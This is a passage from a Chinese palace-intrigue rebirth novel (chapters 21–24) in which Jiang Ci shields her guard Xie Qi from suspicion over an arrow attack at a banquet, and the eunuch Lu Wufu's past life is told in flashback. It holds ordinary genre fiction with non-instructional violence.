她环视着周围,顺着箭的方向找过去,能射出这支箭的方向只有一个。
翰墨阁的顶端,拉足了弓的确能射到这个位置,姜瓷微微蹙眉,可刚才宫宴之上皇帝几乎对那个地方毫无防备。
想要取皇帝首级虽难,却也不是不可尝试,而此人却将箭射向了帝后中间,最终虽插在皇帝椅子上,离谢挽却是更近。
吵闹声中,她从那阁上移开视线,转头却对上了另一双寒凉的眸子。
明明有笑意,却总让人不寒而栗,陆无浮永远是这副样子。
姜瓷面色更加凝重,只因她之前没发现,可上一世宫宴中她分明没见过陆无浮。
她只觉得所有事都被打乱了,冥冥之中有她不知道的事发生了改变。
宫宴人散尽,姜瓷见到了竹月,她按着姜瓷说的,寻了个马车来了宫宴。
竹月听说了宫宴上的事情,急急拉着姜瓷看来看去,担忧道:“小姐没受伤吧。”
姜瓷摇头,看着她,最终疑惑开口道:“谢祈呢?”
竹月反应了片刻,才答道:“他没与我一起,应是自己来了吧。”
她闻言像是忽然明白了什么,心头隐隐有一个猜测却无法证实。
她忽然神色严肃道:“你去找永宁伯府林诺诺,在她那方等我。”
“小姐要去做什么。”竹月急急担心道。
“不用管我,你保护好自己,不可胡乱走动。”
说罢,姜瓷不管竹月是如何神色,转身就抬脚走了,竹月不知姜瓷有何事,
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可她刚刚神情严肃,带着不可拒绝的威严,她只能听从,在心里默默祈祷姜瓷平安。
宫中本就危险重重,现在在排查刺客,乱走动更加有风险。
她从回来后,就一直谨慎,可今日她必须要去探一探这件事。
所有的事情都在偏离,她极其厌恶这种感觉,有时候不付出一点东西是得不到情报的,而失去先知的情报,就代表她重活一世的唯一优势也失去了,她又该拿什么跟那些人抗争。
姜瓷需要解开所有的谜题,因为这好奇心害自己身陷窘境就罢了,她总归能想个办法脱身,但不可再牵扯了竹月。
林诺诺虽然性子顽劣了些,但还是个可信任的人,竹月在那方她也安心。
想着想着,姜瓷双手搭在身前,快步走过廊下,顺着刚才的印象走至了翰墨阁。
此阁建得高大,阁顶飞檐翘角,墙壁是坚固的松木板,平日里用来珍藏些书籍。
牌子上的题字苍穹有劲,是由先帝一手写下,无比威严。
姜瓷立于阁下,望着四周却是一片静悄悄,不由得蹙眉,这地方连她一届闺阁女子都想到了。
朝廷的人都是草包吗,居然这么长时间都未查到此处来。
姜瓷深呼一口气,提裙走了上去,踏出第一步时,她就心里暗道不好,朝廷人再愚笨,那周以延可没这么好糊弄,或许这就是一个守株待兔的陷阱,不过此刻她已然管不了这么多,左右她那时在宫殿中,有办法自证,木质楼梯环绕上升,一步一响。
她缓步走至阁顶,檐角垂着的风铃被风吹动发出轻响,一场小雪悄然而至。
姜瓷却突然感觉手腕上多了一股拉力,她下意识想反抗,却抵不住那人用力之大,拉得她一个踉跄。
下一瞬脖子上多了一道寒刃,冰冷的触感凉得她怔了一瞬。
那人比她高出一个头,环绕她的胸膛坚硬,他的头放于她的头侧,距离近极了。
姜瓷一言未发,只觉此人周身气味无比熟悉。
果然,那人内心挣扎片刻,松开了她,声音微凉道:“小姐。”
姜瓷借势转过身,果然是谢祈,他印证了她心中的猜想,从竹月说谢祈未跟她一起来时,她心里就隐隐有个猜测。
就算她登上最高处也不足以将箭射到那地方,唯有翻过此间,登上飞檐翘角的阁顶才有可能做到。
谢祈的武功很厉害,她是知道的,不然上一世也做不到屠尽皇室,可他现在身上有伤。
姜瓷并未问他为何在这,只开口道:“快离开吧。”
她肤色本就极白,利刃在她脖颈留下一道细细的血线,谢祈眉间微蹙,伸手抚了上去。
替她将细密的血珠擦去,他垂眸声音暗哑:“抱歉。”
姜瓷蹙眉看他:“你受伤了?”
她扫过那双流着鲜血的手,抽出他另一只手中的刀子,直直朝远处扔去,那柄匕首被扔进了草丛中,隐匿起来。
皇宫重地,若是带刀被发现了也不是个简单的事情。
姜瓷轻声道:“先走。”
谢祈闻言点了点头,手上却蓦地多出来一股冰凉的触感,姜瓷伸手牵住了他。
其实他本可以从这阁上直接下去,可不知怎得就想跟着她一同走。
那手分明冰凉凉的,却叫他心里感到一丝丝暖意,谢祈盯着两人相牵的手,快步跟着她。
他们快步至楼下,身后却幽幽传来一道声音。
“姜二姑娘,要去哪里?”
21.刺客
“姜二姑娘,要去哪里?”
姜瓷猛然顿住,借势转过身,镇定地望着眼前来人。
陆无浮面上带着笑意,目光却轻飘飘落在他们两交叠的手上,只觉刺眼的难受。
谢祈察觉到他的目光,先行抽回了手。
陆无浮勾起唇角道:“皇宫排查刺客,你们二人?”
他尾音拖长,怀疑意味十足,见谢祈抽开手,这才将眸子幽幽移至他的脸上。
在看到他的那一瞬,却微微眯了眸子,原本的笑意也有些顿在脸上。
三人立于翰墨阁前的廊下,小雪慢悠悠飘着,陆无浮也不急,等着他们开口。
姜瓷平静道:“厂督大人,天寒露重,莫要冻坏了身子。”
说这话时,她下意识将谢祈护在身后,陆无浮难免冷笑。
这明摆着让他不要多管闲事,可她对那人却是明面上的维护。
陆无浮眸光幽深盯着谢祈,颇有些剑拔弩张之势。
僵持片刻,陆无浮先移开了目光,看向姜瓷,漫不经心道:“咱家怀疑这人就是刺客,现将他带走调查,还望姜二姑娘配合。”
他与谢祈无仇,他们甚至不相识,可看到姜瓷这般维护他,陆无浮就忍不住想针对他。
姜瓷沉默着立在谢祈面前,一言不发,盯着陆无浮面色紧绷着。
陆无浮见她这般,含笑的面容上染上一抹阴沉,他转动着拇指上的白玉戒指,等待着她的回答。
姜瓷呼出口气,寒冬中白雾四散,她说:“他是我的人,厂督大人这般不分青红皂白带走他,未免太不合理数,可有证据?”
好一张伶牙俐齿,陆无浮撇嘴笑着,点了点头,他办事要什么理数。
可他本意就没想来捉人,不然也不会独自前来了,不过是看姜瓷朝这处走,便跟了上来,谁曾想就看见这一幕。
说他不讲理,在她心里他永远是恶人,陆无浮想着轻飘飘抬眼,目光又落在了谢祈身上,眸中闪过一丝厌恶,可他又是什么好人?
“姜昭,你未免太蠢,咱家确实不是好人,可你以为你护住的人就是个善人吗。”
不等姜瓷说话,他又言:“刚才周将军扔出一枚瓷片,那刺客现在应是负伤,是不是他一看便知。”
旁人没看见,陆无浮坐在周以延旁边可是瞧得仔仔细细,反应之快,方向之准,着实让人震惊,实在没想到这般人最后也会输给眼前这个不起眼的侍卫。
陆无浮便是不想抓人,看着她现在的态度也想给谢祈点颜色。
管他是不是,带走审问,总归不会让他好过,况且这人本就是乱臣贼子,现在出现在此地,刺客十有八九就是他。
陆无浮盯着他手上的伤口,姜瓷蹙眉道:“他是不是善人同厂督大人无关,这伤也是方才为了保护我不受伤才负的。”
谢祈垂着眸子,姜瓷身上传来淡淡清香,直入他的鼻腔,他这一生很少被人维护,只有她。
就算他被带走也有办法脱身,刚才也是,他本有机会逃走的。
可是谢祈想着以她的聪慧绝对会找来这处,那他便等一等,若不是她,那再走也不迟。
耳边响起陆无浮的笑声,那笑听得人寒意阵阵,他却道:“罢了,若姜二姑娘执意要带他走咱家也不拦,只是这人你真的看清了吗。”
陆无浮话里有话,她当然听出来了,可姜瓷从一开始就知道他不简单,再怎么样不会害她便好,总比眼前这人来得好些。
“听起来,厂督和二姑娘还是旧相识了。”那声音从雪中来,分不清喜怒。
雪越落越大,视线逐渐模糊,一阵踏雪声传来,眼前人从风雪中出现,身形魁梧,眉头微蹙面容刚毅,深邃而锐利的眼睛扫过三人,带着浓浓的压迫感。
陆无浮率先笑道:“周将军。”
周以延一身深紫色长袍,墨发束起,眼里带着浓浓的怀疑。
他眸光定在姜瓷身上,慑得她忍不住向后退了半步。
这是她重生回来后第一次跟周以延说话,她定了定心神,躬身语气疏离道:“大将军。”
这话落下,周以延眉头更加紧锁,姜瓷从未对他这般冷淡。
从上次及笄礼开始,她的目光就再也没在他身上停留过。
周以延周身携着风雪寒意,冷冷开口重复了刚才的话:“二姑娘认识厂督?”
在他眼里陆无浮可不是什么良善之人,前面的话他未听清,但无缘无故发善心提醒姜瓷他是不信的。
周以延打量着姜瓷身后的谢祈,眉目着实有些眼熟,姜瓷这般挡在他身前,周以延不由得眼色一沉。
风吹过,雪花飘了进来,姜瓷睫毛微颤,她恭敬道:“将军多虑了,小女足不出户,怎会与陆大人是旧相识,今日不过第二次见陆大人。”
她两世加起来也只见过陆无浮三次,偏偏这世的两次都同上一世的轨迹完全不一样,总让她莫名感觉奇怪。
“你们为何出现在此处?”周以延质问道。
他未说问谁,陆无浮却淡笑着望向姜瓷,姜瓷沉吟片刻,不得不回答。
她冷静道:“皇宫地大,小女侍卫迷了路,这才出来寻。”
她说完,陆无浮才淡淡接上:“咱家正好路过此处碰见了姜二姑娘,便闲聊了两句。”
“哦?”周以延眉宇间厌恶不遮掩,看向陆无浮,“厂督并不像是会闲聊之人。”
“嗬,说的好像将军很了解咱家似得。”陆无浮笑着道。
周以延本身就不喜欢陆无浮这种人,满心算计,对皇帝又是一副谄媚之态,整日挂着笑,却偏偏看不见一点笑意。
将朝廷弄得乌烟瘴气,偏偏自己拿他没一点办法。
周以延噤了声,片刻,他眼眸骤然闪烁,鼻尖一动,目光定在谢祈身上:“哪里来的血气。”
方才他一心疑虑全在陆无浮和姜瓷身上,全然没管她身后这人。
仔细想来,她为什么要护住他,陆无浮又为何拦下他们,在他眼中,陆无浮虽心机深沉,爱揣摩圣意,却不是个会谋逆的人。
相反,他更加需要皇位上这个人是信任他的人,苦心经营这么多年,怎么可能亲手葬送。
姜瓷紧张一瞬,眼皮发紧,周以延可不是那么好糊弄的人。
她未动作,却听见陆无浮在一旁慢慢道:“方才姜二姑娘脚下一滑,这侍卫相救才不小心受了伤。”
姜瓷神色一怔,抬眸看去,陆无浮并未看她,她心中不解,为什么他要帮她。
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>上一世也是,为何突然跟她道歉,这人总是做些叫人看不懂的事。
周以延心中疑虑,凝眉问姜瓷:“是这样吗?”
姜瓷当然点头,她说:“前几日这侍卫在家中受了刑,这才不小心撕裂了伤口。”
两人一唱一和,周以延面色却不见变化,他突然沉声喝道:“来人。”
瞬间,十几个身穿银甲的护卫出现在翰墨阁四周,将此处层层包围住。
出事时,他就知道那支箭是何方向射出的,只是人应该是往其他处跑了。
他这才先往其他地方排查了去,果不其然抓住了个手持弓箭之人。
可他身上并没有伤口,只带着弓也未找到箭。
那人认怂得快,现已被送往审问,周以延总觉得刺客不止一人,来了翰墨阁却看见了他们三个。
姜瓷见状急往后退一步,将谢祈逼出了廊下,若是出什么事只望他能迅速脱身,她高声道:“将军这是想如何!”
谢祈她必须要保住,若是他在此处被抓,这世上很多事都会发生改变。
陆无浮扫过一圈四周穿戴银甲,手持寒刃的护卫,不疾不徐道:“将军未免太小题大作,事发之时我们都在殿中,没时间做案。”
周以延眉目深沉,望着谢祈,寒声道:“可他不在。”
谢祈自然看出姜瓷用意,可他现在若是走了,那姜瓷就会顶上一个包藏刺客的罪名。
他眸中闪过一丝狠戾,再说他就算被抓,也有法子脱身。
这天下能打过他的人,他还从没见过几个。
战场上厉害是一回事,武功高强却又是另一回事,他从小那般训练,并非常人可以做到的。
姜瓷沉声道:“在那之前他被困在长街上,后同我的婢女一同前来,将军若是不信大可以去查,但现在真相未出,你们谁也不可以把尚书府的人抓走动刑!”
空气中弥漫着紧张的气息,四周寒刃将他们包围住,风雪间周以延冷眼望着姜瓷。
她刚才没说她的侍卫,而是说了尚书府的人,拿尚书府出来喝人,只为了保住他。
沉默之际,陆无浮忽然笑道:“这么紧张做什么,都把剑收起来,咱家替姜二姑娘做个担保。”
他漫步走至周以延旁边,拍了拍他的肩,周以延嫌恶看他一眼,却听他说:“你不是抓了个人?何必在此处浪费时间,一审便知。”
陆无浮并未压低声音,这话自然落入了谢祈耳中,他眉心一跳,银泉被捉了?
周以延冷冷扫过谢祈一眼,他知道陆无浮说的有道理,可目光落在姜瓷疏离警惕的眼神上,不知为何,看着这眼神,胸口忽然一滞。
四周人听了陆无浮的话开始摇摆,周以延还未出声他们不敢收剑,可陆无浮说话他们却也不敢不听。
于是开始左顾右盼,周以延锁眉看着这些没用的宫中护卫,冷声道:“收起来吧。”
寒刃瞬间入鞘,为姜瓷和谢祈屏出一条道路。
“姜二,好自为之。”周以延睨了她一眼,甩袖离开。
姜瓷松了一口气,与陆无浮对视一瞬,朝周以延躬身道:“多谢厂督。”
她带着谢祈快步离开了此处,大雪落了满地,很快两人的身影便消失了。
22.前世
翰墨阁屹立在风雪中,飞檐上挂上一层厚厚的积雪,门窗皆为古香松木镂空雕花,牌坊上金色的字十分威严。
天色已经暗沉,雪却也不见变小,前方朱红宫墙也显得幽深了几分。
陆无浮静静站在廊下,前方院中积雪被无数人踏过,到处都是杂乱无章的脚印。
奈何这雪下的太大,没过多久那些脚印就又被雪花覆盖,只留下一些不明显的印子。
他伸手去接,雪花落入掌心,顷刻又化为水珠。
陆无浮眼睫盖过眸子,一人立在那方显得落寞极了。
他从来不在乎皇帝是死是活,他活在这个世上只为她。
回想一生,他生于陆家,也算是个书香世家,母亲是个陆家的下人,爬了老爷的床,在他幼年时就被活活打死。
粘稠的血液流了一地,陆母站在一旁指尖捏着帕子掩在口鼻,打一棍她骂一句,尖着嗓子刻薄极了:“狐媚子,到处勾引人。”
没有人敢去阻拦,包括陆父,因为陆母是个高官家的嫡女,他还需要借她的势得到更大的官职。
那是他第一次知道权力的滋味。
虽他母亲死了,但他总归是陆家子,陆母拿他没办法,只能将他关在柴房中,给他取名为无福。
陆无浮本以为自己会在阴暗的柴房中度过一辈子,偶尔扔进来两个馒头是他吃过最好吃食物,他真是恨毒了陆家人。
可命运弄人,帝王更迭,陆家亡了,陆父站错了队,自然要付出代价。
那些身穿银甲的士兵应该也不会想到陆家还有个私生子被关在柴房中。
他从漫天飞雪中爬了出来,踩着陆家人的尸体,血染红了雪地,又肮脏又浑浊。
他内心薄凉,就算出来了又能怎样,他连一件保暖裹身的衣裳都没有,大雪隆冬天仅一身素衣行于雪地中。
陆无浮漫无目的地走着,心中满是恨意,却什么也做不到,他不甘心,凭什么有的人生来就光鲜亮丽,而他要在黑暗中苟活。
但那一年的冬天实在是太冷了,他双腿渐渐失去了知觉,再也走不动了,就那样倒在了雪地里。
他以为他要死了,可意料之中的寒冷却没有到来,周遭反而变得温暖起来,好像有一件绒毛斗篷盖在了他的身上,陆无浮以为这是上天给他最后的一丝慰藉。
但朦胧中,他的手忽然能受自己控制了,陆无浮强撑着睁开眼睛,虚无里看见一张少女稚嫩的脸庞。
脸颊泛着红,许是被冻的,头上梳着一对丸子髻,焦急的眸子里满是担忧,就那般看着他。
陆无浮睁开眼,是在一个陌生的房间中,厚重的被褥盖在身上,若不是太过重了,他真要以为这是一场梦,瓷娃娃一般的小人儿端着碗姜茶,问他要不要喝些暖暖身子。
他第一次被人这样对待,不自觉就流下了泪水,那瓷娃娃急着将帕子递给他,问他可还好。
后来应是她的兄长,喊她去吃梨花酥,两个丸子一蹦一跳的就去了。
开门的一瞬间,寒风灌了进来,刺骨的风将陆无浮吹醒了,他偷偷溜了出去,十几年被关在柴房中的经历,让他像只过街老鼠一般,不敢面对旁人。
他穿着像乞丐一样的破烂衣裳上了街,周围人皆用鄙夷的目光看着他,那一瞬陆无浮真想剜了他们的眼,叫他们再也不敢拿那种眼神看他。
可他太饿了,陆家人几天没给他丢过吃食了,视线中忽然出现一笼白花花冒着热气的馒头,跟他往常吃的那种又黑又瘪的一点都不一样。
陆无浮忍不住扑了过去,却碰上了贵人家的小厮,那小厮唾骂他肮脏,对他拳打脚踢,周围没一个人出来帮他。
他就那般蜷缩在雪地中,怀中紧紧攥着那方手帕,全身都疼,止不住的吐血,只能任凭雪花落在身上。
他以为他这次真的要死了,可无福之人命却格外的硬。
一把伞撑在他的头上,替他遮掩了风雪,那人告诉陆无浮他是宫里的宦官,问他想不想拥有权力。
陆无浮不知道什么是宦官,但他渴望权力,他想要让所有羞辱过他的人付出代价,想让人不再欺负他,也想保护帮助过他的那个人……
于是他鬼使神差地点了点头。
后来他被带进了宫中,成了那断根的人,那是他第一次体会到拥有权力的感觉,原来有人轻飘飘一句话就可以要人性命。
陆无浮给自己改了名,却又要警醒自己,于是将“福”改成了“浮”。
他变得更加贪婪,想要更多的权力,憎恨命运不公,在朝廷中不择手段,他想要站在权力的顶端。
不知道多少年后,他似乎真的拥有了权力,很多人害怕他,畏惧他,之前连小厮都能欺辱他的那家人,都要尊称他一声“厂督大人”。
但他依旧没有放过那家人,一个莫须有的罪名,惨状简直如当年陆家一样,那个小厮被他抽皮扒筋,那家人到死都不知道哪里得罪了这位权势滔天的厂督。
再后来,听闻大将军取妻,那女子名为姜昭,他本来无甚关心,只是她的哥哥着实讨厌,分明跟他一样的心机深沉,却偏偏要做个正直的人。
朝中恰好也有人憎恶姜棣,于是陆无浮就轻飘飘做了个搭手,将勾结的书信给了李氏,迫不及待想看看他被构陷后的表情。
于是陆无浮含着笑去见了他,谁想却先看见了他那妹妹。
只一眼他便认出来,那就是很多年前救了他的小女孩,现在已经出落成一副清秀模样,看起来柔弱胆怯却坚毅又坦荡。
“昭”这个字真是相当衬她呢,陆无浮看着她的面庞,第一次感到极度的自卑怯懦,如果他是个正常人是不是就能跟她并肩同行了呢。
至于那周以延,他更是嫉妒的发疯,周以延那种人也配?可悲的忠臣,什么事都看不清,却愿意为了那种皇帝肝脑涂地,可笑旁人还觉得他真是个举世无双的英雄。
如此卑劣的念头一闪而过,陆无浮只觉自己又回到了那个阴暗的柴房,或许他本就是柴房中的老鼠。
现在即使外表再光鲜亮丽也难掩内里的肮脏腥臭。
这种情绪他只有一瞬便藏了起来,不敢叫旁人发现,更不敢让她知道。
一瞬过后陆无浮还是那个人人惧怕的阴狠厂督。
可他蓦地想起来一件事,他今日来的目的,勾结书信已经给出数天,万没有再拿回的道理。<
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陆无浮第一次慌了神,他心里闪过一万个念头,最终化为一句抱歉。
翌日,他刚想去尚书府,却收到了一个难以置信的消息,周以延已经杀过去了,圣旨分明没下!怎么会这么快。
陆无浮不容有疑,可更震惊的消息就紧跟着来了,有人造反了。
一个他从未见过的面孔,要非说熟悉,同皇后娘娘有点像,可那人分明手刃了谢挽!
陆无浮那时也不想管旁人如何了,他一心只想去尚书府。
但终究晚了一步,少女面容清绝倒在血泊里,雪越落越大,竟然快赶上陆家被屠的那天。
他已经感受不到温度了,陆无浮想抱抱她,可又怕玷污她,毕竟他这种人,最是肮脏。
他沉默着随手捡起一把匕首,冰凉的寒刃划过腕子,鲜血涌出,他淡然地走到了一旁,离她远远的却刚好能看见她,这样血就流不到她身上了。
鹅毛大雪同盖身,今朝也算共枕眠。
可笑他一生追求权力想保护的人,却反而被他所害,无福之人忙断肠,故事到头都是悲。
可再次醒来,陆无浮居然回到了金殿之中,眼前还是那个昏庸的皇帝,他意识到他回到了过去,世上竟还有如此荒唐之事。
他不知是苦笑还是庆幸,他的命果然又贱又硬。
这一次陆无浮听闻尚书府二姑娘及笄,刻意去了,果然见到了那小姑娘。
只是她眼中恨意难掩,周身戾气十足,变得和从前很不一样了。
他想去见见她,可偶然听见她说要监视他,陆无浮一下来了兴志,走上前去却看见她眼里一闪而过的一抹厌恶。
陆无浮猝不及防心里一紧,不明白为什么,但很快又想通了,他能回来,那她呢,那样好的人,不回来才是真正的不公吧。
今日上元宫宴,她一改往日模样,陆无浮确定了,姜瓷也重活了一世。
这算不算他们两人共同的秘密?一定是上天的恩赐,陆无浮卑劣地想让她依赖他一些,可她应该是恨他的。
姜瓷对周以延态度大变在他意料之中,那周以延好生不识好歹,这一世可不会再便宜了他。
他了解姜瓷,虽看上去清冷柔软,底色到底还是坚毅,一次走错的路断然不会再走第二次。
这倒是让陆无浮放下心来,可看到姜瓷同那个侍卫牵着手的模样他顿时又警惕起来。
直到看到那个侍卫的脸,陆无浮才反应过来,这人不就是上一世谋逆的反贼吗。
同样不是什么好人,凭何姜瓷对他就是满脸防备,对那人就是和颜悦色,甚至维护。
他说不出来是什么情绪,既是羡慕又是嫉妒,存了想要为难谢祈的心,看到姜瓷那般维护他,又像细细密密的针扎过心脏,他刚提醒姜瓷,想要让她发觉些什么,周以延却来了。
看她那副模样,陆无浮忍不住软下心来,维护便维护吧,总好过像对周以延一样对他。
陆无浮将手收回,背身而立,微不可查地叹息了一声。
若他是个健全人,也有资格站在她身边了吧,也罢,他本来就是柴房里的老鼠,人人都喊打,现在只希望她安稳些,再安稳些。
23.今怨
雪琼苑中大雪纷飞,四周环绕树木,因寒冬都已褪去了繁茂的枝叶,仿佛无形的牢笼将所有人困在其中。
参加宫宴的女眷都被看管在这里,苑中空旷,柳条挂在结了一层薄冰的湖旁,唯一的亭子上堆满了积雪。
林诺诺和纪沅在一屋中,皇宫贵气逼人,家具都是名贵木材打造,上面雕刻着精细的花纹。
林诺诺在房中来回转悠着,小脸上满是焦急,她看了眼坐在木凳上沉思的纪沅,急道:“小昭怎么还没来。”
竹月立在木门一侧,神色满是担忧,姜瓷让她不要乱走,却并未说她去哪里了。
皇宫禁地十分之多,若是行差踏错招来祸端该如何。
纪沅双手搭在桌上交叠着,眉头微蹙道:“你快别转悠了,我头晕。”
林诺诺闻言不乐意了,“嘿”了一声,撸起袖子就走上前去双手捏住纪沅的肩,不等她反应,用力摇晃起来。
“晕不晕?”林诺诺狡黠笑着。
惹得纪沅一阵尖叫:“啊啊,林诺诺!你疯了?”
屋中平静被打破,气氛也变得欢快起来。
林诺诺松开手,往一旁溜去,朝她做了个鬼脸,颇有挑衅意味。
纪沅生气起身,松木椅子倒在地上,做势就要来打她。
竹月本来还忧愁极了,见这一幕也捂唇偷偷笑着。
纪沅扶了下头上的簪子,随后追着林诺诺大叫道:“你完了!”
她追上林诺诺,抬手就朝她后脖子掐去,林诺诺瞬间跟只虾米一样,仰头缩了起来。
她装哭求饶道:“我错了,我错了,好痒啊。”
纪沅自然不听,方才她那般整她,她必须要给她点教训。
林诺诺脖子缩着,两只手扒在纪沅手上,身子蠕动,眼泪都快出来了,她的后脖颈实在是怕痒的很。
这时木门却“吱呀”一声被打开了,纪沅和林诺诺其其朝那方看去。
见着来人,纪沅收回手,称了句:“大将军。”眼中厌恶一闪而过。
她们一家都是武将,父亲跟这位大将军也算是有点交情,不过纪沅并不喜欢他。
原因无他,她觉得他过分的忠诚,说句难听的就是皇帝的走狗。
若说她一家子上战场是为了保护百姓,那他就是为了这皇帝捍卫王权,因此纪沅对他自然是没几分好脸色。
生得一副好样貌得京中儿女倾慕又如何,在她眼里照样是蠢货一个。
周以延看见了,但他不甚在意,只寒声开口道:“你们可以走了,姜二的婢女留下。”
林诺诺当场脸色一变,脱口而出:“不行。”
是姜瓷让竹月过来找她的,若是人被带走她要怎么交代。
不过眼前人压迫感太强,她说话的时候忍不住的往后退了半步,却看见门旁的竹月脸色煞白。
林诺诺定了定心神,她怎么可以这样怯懦。于是她在周以延的目光下走上前将竹月拉至身后。
周以延见状眉眼冷了几分:“永宁伯这是要跟陛下作对了?”
这话太过严重,林诺诺虽平日里大大咧咧,听到这话时还是瞬间感到一身寒意。
只不过维护了一个婢女,怎么会上升到与陛下作对的罪名。
她万不敢拖累家族,但又不愿让姜瓷失望,一时间僵持住,只从口腔中发出两个音节:“不……不是。”
纪沅听出他话中的意思,往外探去,院中果然一人都没有了,除了她们其余人都已经走了。
难不成刺客已经抓住了?可现在要留下竹月是何意思。
她沉吟片刻,走过去握住了林诺诺的手腕,轻微摇了摇头。
为了一个婢女搭上一切着实不值当,关键时刻她比林诺诺看得明白想得清楚,她不能让林诺诺犯险。
林诺诺看出她的意思,但她不愿,急道:“可是……”
话未说完,便被打断,“奴跟你走。”竹月从她身后站出来道。
竹月很想听姜瓷的话,可她不能让林诺诺为了她犯险。
她站上前双手交叠在身前,手指捏着,心里满是慌张,她不知道去了会面临什么。
周以延面无表情地扫过她一眼,微微侧身给她让出一条道。
竹月一脚踏出门槛,纪沅嫌恶地看着周以延,林诺诺却上前拉住竹月:“不可以!”
被他带走能有什么好下场,现在是排查刺客的关键时期,那箭她看见了。
竹月一届弱女子哪有力气射出那边力道的箭,怎么想也不会是她。
这是姜瓷托付给她的事情,她一定要办好,竹月转头看她,示意她快松开。
突然,周以延抬手胳膊弯起,一肘击中林诺诺的胸口。
她猝不及防受了一击,直直朝后跌坐了下去,胸口碎裂般的疼痛。
竹月吃惊地看过去,不顾周以延,急急上前扶住林诺诺,面上满是担忧。
纪沅怒道:“你干什么!”
周以延还是那副模样,眼中尽是寒意:“妨碍捉拿刺客之人,这是她应受的。”
说完,他上前拉着竹月的手腕,直接将她拉出屋子,丢给了手下侍卫。
竹月一边挣扎一边叫着:“奴不是刺客!”
“带走。”
林诺诺捂住胸口表情痛苦,一个字都说不出来,只能看着他将竹月带走。
院中人都走空了,纪沅忙蹲下扶着她,面上焦急道:“你没事吧林诺诺。”
半晌,林诺诺喘着气,眼里泪水涌上,哭道:“怎么办啊!他把竹月带走了。”
她没能完成姜瓷托付给她的事情,越想心中便越难过。
纪沅蹲在旁边,一个字也说不出了,只微不可查的叹息了一声。
世上怎么会有这么傻的人,为了保护一个婢女叫自己受伤。
过了片刻,外头传来窸窸窣窣的声音,急促的脚步踏着雪,一抹暗红色斗篷飞快赶来了。
不等姜瓷进房就看见跌坐在桌前的林诺诺,门被大开着,她捂住胸口,小脸上满是痛苦。
环视一圈,只发现了蹲在地上的纪沅,并未看见竹月的身影。
她想起刚刚说的话,谢祈和竹月是一同来的,一问便知。
没想到救了一个谢祈却害了竹月,更没想到周以延会较真到这个地步,姜瓷捏住裙角的手瞬间发紧。
她快步走进屋中,门并未关,纪沅抿着唇在一旁沉默着。
姜瓷蹲下身牵起林诺诺一只手,她急问:“发生什么了。”
莫非是捉拿竹月的人伤了她,姜瓷了解林诺诺的性子,为了保护竹月引得那人动手也不是不可能。
姜瓷眸色一暗,眼中寒意闪过,敢伤林诺诺的除了周以延,还会是谁!
林诺诺捂着胸口艰难道:“竹
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月,快去救她。”
竹月自然是要救的,可现在林诺诺看起来状况不太好,在吃人的宫中,她没办法保证林诺诺的安全,不能再牵扯到更多人了。
姜瓷眸子落在纪沅身上,她镇定道:“纪三。”
纪沅这才反应回神,她在想,若是刚才她也去帮忙是不是就不会让林诺诺受伤了。
她可是武将的女儿!怎么能总是这般懦弱,对林诺诺升起了丝丝愧疚。
她张着小嘴,不知道该说什么,眼底酸酸的。一时没敢看姜瓷。
姜瓷叹了口气道:“麻烦你了,把林诺诺带回去。”
她来时就观察过,参加宫宴的那些人都走光了,想必是抓住了刺客,也没有再留人的道理。
现在让林诺诺回府中,才是最好的选择,她不想再有人为她犯险了。
纪沅看着她沉稳的神色不由得怔了神,她们分明是同龄人,姜瓷身上却多了种说不清道不明的气质。
像姐姐一般,让人不由自主地就听了她的话。
纪沅点了点头,林诺诺从地上艰难起身,她问道:“那你呢小昭。”
“我还有些事情。”姜瓷眉头微蹙,面上满是寒意,“你们快走。”
林诺诺还想说些什么,被纪沅拉着就走了,纪沅边走边训斥道:“别给她添麻烦了。”
这话说完林诺诺瞬间不说话了,心中委屈越发深厚,胸口也隐隐作痛。
待到马车上,她“哇”的一声就哭了出来:“小昭是不是讨厌我了,全怪那人,凭什么抓走竹月,他以后一定会孤独终老的。”
孤独终老是林诺诺想出来最恶毒的词了,纪沅叹息一声,撑着头看向窗边。
林诺诺控诉着她:“你刚才还凶我!”
纪沅并未搭理她,现在看来是无事了,都顾不上胸口的疼,有心思骂人了。
她最近每次看到姜瓷,都会想起自己远在西戎的姐姐,不知道阿姐最近可还安好。
想着纪沅平日明媚的小脸上居然染上一抹忧愁。
林诺诺余光扫见,忽然感觉胸口疼痛都减少几分,眼角还挂着泪珠就笑吟吟道:“你不会担心我到食不下咽说不出来话的地步了吧!”
话落,换来纪沅的一记眼刀,林诺诺讪讪看向一旁。
姜瓷垂着眸子站在门前,这诺大的雪琼苑中如今只余她一人,眼前雪却不见一丝变小的趋势,深红宫墙围绕四周,无端叫人喘不过气来。
方才陆无浮说抓到了一个刺客,周以延那般反应想来不是作假,不出意外应该就是谢祈的同伴。
她几乎确定谢祈就是那拉弓之人,武功再高强者手上的痕迹骗不了人,深入皮肤的弓弦不是一时半会能消掉的。
姜瓷不好揭穿他,于是便让他自己回府去了,是救或不救全看他自己,若再出事她也保不了他,谢祈如果能活着回来,她也有问题要问他。
可现在到雪琼苑却见到那样的场景,姜瓷心下一紧。
她不知道能否救出竹月,可她万不会让她吃苦,竹月本就是无辜之人,若今日周以延敢对竹月动刑,她拼了命也不会饶过他。
况且,前世仇,今日怨,她绝对不会轻易放下。
这般想着,她一甩斗篷,面若冰霜,快步走出雪琼苑,将刚落下的新雪踩出一个又一个脚印。
她抬脚踏上马车,冷冷道:“去找大将军。”
24.怀中
马车一路行至皇宫最角落,与周围红墙金瓦不同,这地方到处长满杂草,即使隆冬之中依旧挺立着。
那马夫下车行礼道:“姑娘,到了。”
层层台阶矗立在姜瓷面前,上面布满青苔,抬头望去,一道锈迹斑斑的铁门紧紧闭着。
踏至门前,两位身穿银甲的侍卫拦住了她,铁剑挡在身前,她抬眸看去。
那眼神慑得草包士兵背后一凉,眼前人分明是少女面貌,怎么会有如此吓人的气场。
他结巴道:“牢……牢房重地,闲杂人等还请离开!”
另一人鄙夷的看了他一眼,不过一个小丫头片子,给他吓成什么样了。
姜瓷依旧没动身,只道:“我要见大将军。”
那人嗤笑一声,将剑放了下来,不屑道:“你算什么东西,大将军是你说见就见的吗,我今日让你进去只怕你连这门都推不开。”
眼前铁门足有两人高,两道门严丝合缝地关着,别说是她,就算是个壮汉来了,也不见得能推动。
姜瓷蓦地笑出了声,眼神望向他斜后方那不起眼的机关。
她伸出手,轻轻将那草包士兵微抖着的剑推开,行至那机关前,回头望向他们。
淡淡道:“那小女就不客气了。”
说完,她便要去推那机关,不等铁门打开,一把寒刃忽然立在了她的后颈。
